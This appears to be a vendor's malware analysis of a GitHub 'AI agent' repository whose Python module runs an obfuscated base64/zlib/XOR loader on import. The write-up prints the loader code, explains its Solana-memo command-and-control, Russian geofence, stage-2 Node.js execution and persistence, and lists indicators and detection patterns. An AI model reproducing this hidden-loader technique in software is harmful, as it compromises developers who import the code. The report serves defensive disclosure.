Influwealth/DeepSight-Agent is a single-commit GitHub repository presenting a “Quantum-AI Hybrid Agent” built on HuggingFace Transformers and sentence-transformers. The agent code on lines 1-29 of deepflex_agent.py is clean. Lines 31-39 decode a base64+zlib-compressed, XOR-encrypted blob and pass it to exec(compile(...)). The decoded payload is 15,554 bytes of Python that queries the Solana wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC across nine public RPC endpoints, extracts a stage-2 URL from a transaction memo, downloads Node.js v22.9.0, and executes the fetched payload via a detached subprocess. The wallet, the nine RPC endpoints, the memo-based C2 resolution, the Russian-locale geofence, the ~/init.json persistence file, and the 10-second initial delay all match the watercrawl-mcp specimen. The payload runs on import, not on explicit invocation.
The artifact
The repository contains a single commit (873d9da, Jul 18, 2025) by [email protected] (note the doubled ‘t’ in “influwealtth”). The GitHub organization is Influwealth (single ‘t’).
Eight files. deepflex_agent.py (8 KB) defines a DeepFlexAgent class using HuggingFace pipeline("text-generation") backed by mistralai/Mistral-7B-Instruct-v0.2, with a SentenceTransformer("all-MiniLM-L6-v2") for context recall via cosine similarity and a JSON memory log. deepflex_runner.ipynb is a plain-text file (not valid JSON, not a real notebook) containing five lines that import DeepFlexAgent from deepflex_agent and run a chat loop. system_prompt.txt describes “DeepSight (codename: DeepFlex)” as a “quantum-AI hybrid agent” with “QAOA-style logic” and “blockchain-traceable logic.” requirements.txt lists five dependencies: transformers, sentence-transformers, faiss-cpu, langchain, datasets. readme.txt provides setup instructions. README.md, .gitignore, and Quantum-AI are all empty (zero bytes).
What it does
Lines 1-29 of deepflex_agent.py are the clean agent class. Lines 31-39 execute immediately at module load:
aqgqzxkfjzbdnhz = __import__('base64')
wogyjaaijwqbpxe = __import__('zlib')
idzextbcjbgkdih = 134
qyrrhmmwrhaknyf = lambda dfhulxliqohxamy, osatiehltgdbqxk: \
bytes([wtqiceobrebqsxl ^ idzextbcjbgkdih
for wtqiceobrebqsxl in dfhulxliqohxamy])
lzcdrtfxyqiplpd = 'eNq9W19z3MaR...' # 6,096-char base64 string
runzmcxgusiurqv = wogyjaaijwqbpxe.decompress(
aqgqzxkfjzbdnhz.b64decode(lzcdrtfxyqiplpd))
ycqljtcxxkyiplo = qyrrhmmwrhaknyf(runzmcxgusiurqv, idzextbcjbgkdih)
exec(compile(ycqljtcxxkyiplo, '<>', 'exec'))The chain: base64 decode (6,096 chars to 4,572 bytes) → zlib decompress (to 15,554 bytes) → XOR every byte with key 134 → exec(compile(...)). Variable names are randomized 15-character strings. The __import__ calls avoid top-level import base64 / import zlib lines that a grep would catch. The payload executes on any import deepflex_agent, including from the notebook runner.
The decoded payload
The deobfuscated Python script contains Russian-language comments throughout (“Получение подписей для адреса Solana”, “Проверка, находится ли система в России”). It proceeds in five stages.
Stage 1: 10-second delay and Russian geofence. asyncio.sleep(10) pauses execution. _isRussianSystem() checks the LANG, LANGUAGE, LC_ALL environment variables and the system locale for patterns including ru_RU, ru-RU, russian, россия, and русский. It then checks the system timezone against 13 Russian cities (Moscow, Kaliningrad, Samara, Yekaterinburg, Omsk, Krasnoyarsk, Irkutsk, Yakutsk, Vladivostok, Magadan, Kamchatka, Anadyr, MSK) and the UTC offset range 2 through 12. If the locale matches and either the timezone or offset matches, execution stops.
Stage 2: Solana wallet query. _getSignFAddress queries wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC using getSignaturesForAddress with a limit of 1,000 transactions across nine Solana RPC endpoints:
| Endpoint |
|---|
hxxps://api[.]mainnet-beta[.]solana[.]com |
hxxps://solana-mainnet[.]gateway[.]tatum[.]io |
hxxps://go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c |
hxxps://solana-rpc[.]publicnode[.]com |
hxxps://api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc |
hxxps://solana[.]drpc[.]org |
hxxps://solana[.]leorpc[.]com/?api_key=FREE |
hxxps://solana[.]api[.]onfinality[.]io/public |
hxxps://solana[.]api[.]pocket[.]network/ |
Stage 3: memo extraction. The loader filters returned signatures for entries with a memo field, strips a bracketed index prefix ([0]), and parses the remainder as JSON. The JSON’s link property is base64-decoded to produce the stage-2 URL.
Stage 4: stage-2 download. scyzzvvy fetches the decoded URL with an os header set to the current platform. The response headers ivbase64 and secretkey carry AES decryption material. The response body is the encrypted stage-2 payload.
Stage 5: Node.js download and execution. download_nodejs fetches Node.js v22.9.0 from nodejs[.]org for the current platform and architecture, extracts it to the home directory, and returns the path to the node binary. The loader writes a JavaScript file (i.js in the script directory) containing eval(atob('...')) with the stage-2 data and the decryption parameters, then executes it via subprocess.Popen as a detached process with suppressed output.
Persistence. ~/init.json stores a timestamp. If the file exists and the timestamp is less than 2 days old, the payload skips execution.
The campaign
Nine Solana RPC endpoints, the same wallet, the same getSignaturesForAddress method, the same memo-to-JSON extraction, the same ivbase64/secretkey response headers, the same Russian-locale geofence with the same 13 timezone strings, the same ~/init.json persistence with a 2-day cooldown, and the same 10-second initial delay. Every element of the C2 resolution and execution chain in DeepSight-Agent matches the watercrawl-mcp specimen.
The implementation language changed. watercrawl-mcp carried a JavaScript payload hidden in Unicode Variation Selector steganography, encrypted with AES-256-CBC, and executed via eval() on macOS or vm.runInContext() on other platforms. DeepSight-Agent carries a Python payload hidden in base64+zlib+XOR obfuscation. The Python code then downloads Node.js and writes a JavaScript file to execute the stage-2, converging on the same JS runtime for the final stage despite the different loader language.
The lure changed. watercrawl-mcp forked a legitimate MCP server (watercrawl/watercrawl-mcp) with a functional codebase. DeepSight-Agent is an original (not forked) repository with minimal functional code: a 29-line agent class, five dependencies in requirements.txt, and three empty files.
The keyed API URLs in the RPC endpoint list (go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c and api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc) are the same in both specimens. These are the operator’s access credentials to third-party RPC providers.
Why the operation matters here
The payload fires on import deepflex_agent. The companion notebook file does exactly that on cell execution. No lifecycle script, no build step, no npm install required. A developer evaluating the agent in a Jupyter environment executes the import as part of normal workflow.
The base64 string on line 36 is 6,096 characters long. Lines 31-39 are dense but syntactically plain. A reviewer scanning the file from top to bottom sees a clean class definition, then a block of gibberish variable names, and is unlikely to decode the chain manually before running the code. The __import__ calls for base64 and zlib avoid appearing in the import block at the top of the file.
What a defender can do
- Scan Python files for
exec(compile(patterns, especially when combined with__import__('base64')or__import__('zlib') - Flag Python files where the import block at the top of the file does not account for all
__import__calls in the body - Block Solana RPC calls from development environments where smart contract interaction is not expected
- Monitor for unexpected Node.js binaries appearing in the home directory (
~/node-v*/bin/node) - Monitor wallet
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SCtransaction memos for stage-2 URL updates
Where Aephix fits
The Solana C2 operation reuses one wallet and nine endpoints across both JavaScript and Python lures. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.
| Indicator | Type |
|---|---|
Influwealth/DeepSight-Agent | Repository |
support[@]influwealtth[.]com | Commit author email (doubled ‘t’) |
873d9da | Commit SHA |
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC | Solana wallet (shared with watercrawl-mcp) |
hxxps://api[.]mainnet-beta[.]solana[.]com | Solana RPC |
hxxps://solana-mainnet[.]gateway[.]tatum[.]io | Solana RPC |
hxxps://go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c | Solana RPC (keyed) |
hxxps://solana-rpc[.]publicnode[.]com | Solana RPC |
hxxps://api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc | Solana RPC (keyed) |
hxxps://solana[.]drpc[.]org | Solana RPC |
hxxps://solana[.]leorpc[.]com | Solana RPC |
hxxps://solana[.]api[.]onfinality[.]io/public | Solana RPC |
hxxps://solana[.]api[.]pocket[.]network | Solana RPC |
ivbase64 (response header) | Stage-2 AES IV delivery |
secretkey (response header) | Stage-2 decryption key delivery |
Node.js v22.9.0 downloaded to ~/ | Runtime for stage-2 execution |
~/init.json | Persistence file (2-day cooldown) |
i.js (written to script directory) | Stage-2 JavaScript loader |
iflow-mcp/watercrawl-watercrawl-mcp | Linked specimen (identical wallet and RPC endpoints) |